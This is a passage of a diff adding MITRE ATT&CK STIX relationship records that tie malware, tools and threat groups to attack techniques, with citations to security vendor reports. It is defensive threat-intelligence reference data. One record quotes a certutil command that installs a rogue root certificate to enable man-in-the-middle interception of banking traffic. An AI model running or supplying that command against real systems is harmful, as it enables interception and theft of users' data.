"https://www.alienvault.com/open-threat-exchange/blog/another-sykipot-sample-likely-targeting-us-federal-agencies" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) uses PowerShell to download and execute the payload.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T17:59:44.414Z", + "id": "relationship--0b77fa58-6fd7-4002-955e-e3e1705d54c2", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "modified": "2019-04-16T20:55:20.025Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Zeus Panda Nov 2017", + "description": "Brumaghin, E., et al. (2017, November 02). Poisoning the Well: Banking Trojan Targets Google Search Results. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2017/11/zeus-panda-campaign.html#More" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[PlugX](https://attack.mitre.org/software/S0013) has a module to list the processes running on a machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:17:59.270Z", + "id": "relationship--4b8ebd1a-50ba-463a-b536-3ad8cc5013f8", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "modified": "2019-04-19T15:08:15.805Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018.", + "source_name": "CIRCL PlugX March 2013", + "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "description": "[Remcos](https://attack.mitre.org/software/S0332) searches for Sandboxie and VMware on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:55:20.754Z", + "id": "relationship--8cb5d843-e5b6-416a-b721-aa6b4c1ae2f3", + "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", + "modified": "2019-04-19T14:39:52.946Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Brumaghin, E., Unterbrink, H. (2018, August 22). Picking Apart Remcos Botnet-In-A-Box. Retrieved November 6, 2018.", + "source_name": "Talos Remcos Aug 2018", + "url": "https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has created scheduled tasks that run a VBScript to execute a payload on victim machines.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--a1e16836-d6d9-4d47-bb9a-35f31f369980", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.026Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 OopsIE! Feb 2018", + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + }, + { + "source_name": "Unit 42 QUADAGENT July 2018", + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + }, + { + "source_name": "FireEye APT34 July 2019", + "description": "Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34\u2019s Invite to Join Their Professional Network. Retrieved August 26, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[DarkComet](https://attack.mitre.org/software/S0334) gathers the username from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:18:28.770Z", + "id": "relationship--e96e17e7-4349-4393-b875-5bab4e8ffa5a", + "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", + "modified": "2019-06-04T19:40:43.526Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro DarkComet Sept 2014", + "description": "TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[Carbon](https://attack.mitre.org/software/S0335) uses port 80 for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:36:02.799Z", + "id": "relationship--24c04596-5a7c-4d77-93b5-dec49d70d8ea", + "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", + "modified": "2019-04-12T14:43:22.568Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Carbon Mar 2017", + "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.", + "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "[Epic](https://attack.mitre.org/software/S0091) compresses the collected data with bzip2 before sending it to the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:55:47.992Z", + "id": "relationship--762f22f8-5f47-4c1f-b41b-86984c3e2550", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "modified": "2019-07-26T16:10:42.484Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Turla Aug 2014", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "description": "[Epic](https://attack.mitre.org/software/S0091) uses the tasklist /svc command to list the services on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:55:48.191Z", + "id": "relationship--d012dd66-fef4-4714-bb00-55d9dd2861a1", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "modified": "2019-07-26T16:10:42.508Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) has used ports 8060 and 8888 for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--468ca76f-cf76-4476-883b-d0743e837df8", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "modified": "2019-04-22T22:36:52.907Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 MuddyWater Nov 2017", + "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[Koadic](https://attack.mitre.org/software/S0250) can perform process injection by using a reflective DLL.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--21674a10-7168-420e-b916-2979a3ee3b5e", + "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "source_name": "Github Koadic", + "url": "https://github.com/zerosum0x0/koadic" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) has used the Intel\u00ae Active Management Technology (AMT) Serial-over-LAN (SOL) channel for command and control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--3d9314d5-9177-48e4-9d82-e30d393b6280", + "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694", + "modified": "2019-05-10T12:14:32.124Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaplan, D, et al. (2017, June 7). PLATINUM continues to evolve, find ways to maintain invisibility. Retrieved February 19, 2018.", + "source_name": "Microsoft PLATINUM June 2017", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2017/06/07/platinum-continues-to-evolve-find-ways-to-maintain-invisibility/?source=mmpc" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[TinyZBot](https://attack.mitre.org/software/S0004) can install as a Windows service for persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--90347c97-c0c5-4407-9087-b917d0789b0e", + "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "source_name": "Cylance Cleaver", + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "description": "[T9000](https://attack.mitre.org/software/S0098) gathers and beacons the system time during installation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--0d2a66c5-fb8e-4cbb-9526-579b5c9c881c", + "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.", + "source_name": "Palo Alto T9000 Feb 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dd901512-6e37-4155-943b-453e3777b125", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--48b9ca0c-925b-4f6a-8f25-459b2489be7c", + "source_ref": "course-of-action--121b2863-5b97-4538-acb3-f8aae070ec13", + "modified": "2019-07-24T19:47:59.101Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has created a hidden directory under C:\\ProgramData\\Apple\\Updates\\.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T20:17:49.308Z", + "id": "relationship--4269342d-fd7b-4fc6-882f-5099da627c85", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "modified": "2019-06-30T22:44:28.083Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro Tropic Trooper Mar 2018", + "description": "Horejsi, J., et al. (2018, March 14). Tropic Trooper\u2019s New Strategy. Retrieved November 9, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Sakula](https://attack.mitre.org/software/S0074) calls cmd.exe to run various DLL files via rundll32 and also to perform file cleanup. [Sakula](https://attack.mitre.org/software/S0074) also has the capability to invoke a reverse shell.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a3fe1f58-b507-42ea-a21e-a6ac46de9ca8", + "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.", + "source_name": "Dell Sakula", + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:37:00.007Z", + "id": "relationship--d88c3036-bcaf-4897-a47e-3cabc0dbc1b2", + "source_ref": "intrusion-set--76565741-3452-4069-ab08-80c0ea95bbeb", + "modified": "2019-04-12T16:33:51.188Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 SilverTerrier 2018", + "description": "Unit42. (2016). SILVERTERRIER: THE RISE OF NIGERIAN BUSINESS EMAIL COMPROMISE. Retrieved November 13, 2018.", + "url": "https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Micropsia](https://attack.mitre.org/software/S0339) can perform a recursive directory listing for all volume drives available on the victim's machine and can also fetch specific files by their paths.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:47:53.700Z", + "id": "relationship--19f512b8-6869-460d-97d8-7e1f9b3c51cb", + "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", + "modified": "2019-04-17T22:05:05.810Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.", + "source_name": "Radware Micropsia July 2018", + "url": "https://blog.radware.com/security/2018/07/micropsia-malware/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842", + "description": "[Daserf](https://attack.mitre.org/software/S0187) can use steganography to hide malicious code downloaded to the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--a566127b-1d88-4b38-84dd-4686e2837399", + "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.", + "source_name": "Trend Micro Daserf Nov 2017", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Octopus](https://attack.mitre.org/software/S0340) uses HTTP for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T13:24:09.158Z", + "id": "relationship--b58b7cb7-ba2a-40ef-9532-c134b8811415", + "source_ref": "malware--e2031fd5-02c2-43d4-85e2-b64f474530c2", + "modified": "2019-01-30T13:24:09.158Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.", + "source_name": "Securelist Octopus Oct 2018", + "url": "https://securelist.com/octopus-infested-seas-of-central-asia/88200/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f2d44246-91f1-478a-b6c8-1227e0ca109d", + "description": "Some variants of the [Zeroaccess](https://attack.mitre.org/software/S0027) Trojan have been known to store data in Extended Attributes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--e584ec5f-af99-4d61-8b02-3dbacae4adf4", + "source_ref": "malware--552462b9-ae79-49dd-855c-5973014e157f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ciubotariu, M. (2014, January 23). Trojan.Zeroaccess.C Hidden in NTFS EA. Retrieved December 2, 2014.", + "source_name": "Ciubotariu 2014", + "url": "http://www.symantec.com/connect/blogs/trojanzeroaccessc-hidden-ntfs-ea" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[APT18](https://attack.mitre.org/groups/G0026) can list files information for specific directories.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T14:00:49.826Z", + "id": "relationship--e3417dc3-f784-4306-8466-65a0067b63f1", + "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "modified": "2019-05-30T18:05:32.708Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PaloAlto DNS Requests May 2016", + "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved November 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", + "description": "[EvilGrab](https://attack.mitre.org/software/S0152) has the capability to capture video from a victim machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--6782d7bb-5e81-4656-9445-fbd6ae1f2bdb", + "source_ref": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Azorult](https://attack.mitre.org/software/S0344) can collect host IP information from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:19:15.005Z", + "id": "relationship--d8f527e3-a86a-431c-9110-b092343269bc", + "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", + "modified": "2019-07-26T23:22:28.262Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Azorult Nov 2018", + "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[APT1](https://attack.mitre.org/groups/G0006) gathered a list of running processes on the system using tasklist /v.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:33:07.643Z", + "id": "relationship--38416e2a-3590-4827-9a6f-d8f1df6568af", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "modified": "2019-08-20T13:08:13.225Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "[OceanSalt](https://attack.mitre.org/software/S0346) can encode data with a NOT operation before sending the data to the control server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:43:19.434Z", + "id": "relationship--1dac9ffa-1523-4cab-b28f-2d5642ee08aa", + "source_ref": "malware--288fa242-e894-4c7e-ac86-856deedf5cea", + "modified": "2019-02-12T21:14:11.087Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018.", + "source_name": "McAfee Oceansalt Oct 2018", + "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) can execute commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T16:39:54.273Z", + "id": "relationship--1ffac810-9c9e-4060-9902-737085ba8bc5", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "modified": "2019-06-10T18:25:51.457Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[LaZagne](https://attack.mitre.org/software/S0349) can perform credential dumping to obtain account and password information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T16:45:00.084Z", + "id": "relationship--43619944-94e9-43d9-a761-8e4db2113eef", + "source_ref": "tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b", + "modified": "2019-06-24T16:21:13.978Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub LaZagne Dec 2018", + "description": "Zanni, A. (n.d.). The LaZagne Project !!!. Retrieved December 14, 2018.", + "url": "https://github.com/AlessandroZ/LaZagne" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that can collect the victim\u2019s username.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:33:41.163Z", + "id": "relationship--d1d496f1-fa91-404e-a93a-97670817717a", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "modified": "2019-06-28T15:30:58.475Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Securelist MuddyWater Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", + "url": "https://securelist.com/muddywater/88059/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d519cfd5-f3a8-43a9-a846-ed0bb40672b1", + "description": "[certutil](https://attack.mitre.org/software/S0160) can be used to install browser root certificates as a precursor to performing man-in-the-middle between connections to banking websites. Example command: certutil -addstore -f -user ROOT ProgramData\\cert512121.der.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--542bb806-3e73-42f5-8a3e-86b498093f4b", + "source_ref": "tool--0a68f1f1-da74-4d28-8d9a-696c082706cc", + "modified": "2019-07-31T19:57:28.946Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto Retefe", + "description": "Levene, B., Falcone, R., Grunzweig, J., Lee, B., Olson, R. (2015, August 20). Retefe Banking Trojan Targets Sweden, Switzerland and Japan. Retrieved July 3, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2015/08/retefe-banking-trojan-targets-sweden-switzerland-and-japan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7d751199-05fa-4a72-920f-85df4506c76c", + "description": "A backdoor used by [APT29](https://attack.mitre.org/groups/G0016) created a Tor hidden service to forward traffic from the Tor client to local ports 3389 (RDP), 139 (Netbios), and 445 (SMB) enabling full remote access from outside the network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--54188543-7746-4158-9a9f-5556bb99ec7a", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2019-07-25T14:25:53.211Z", + "object_marking_refs": [ + 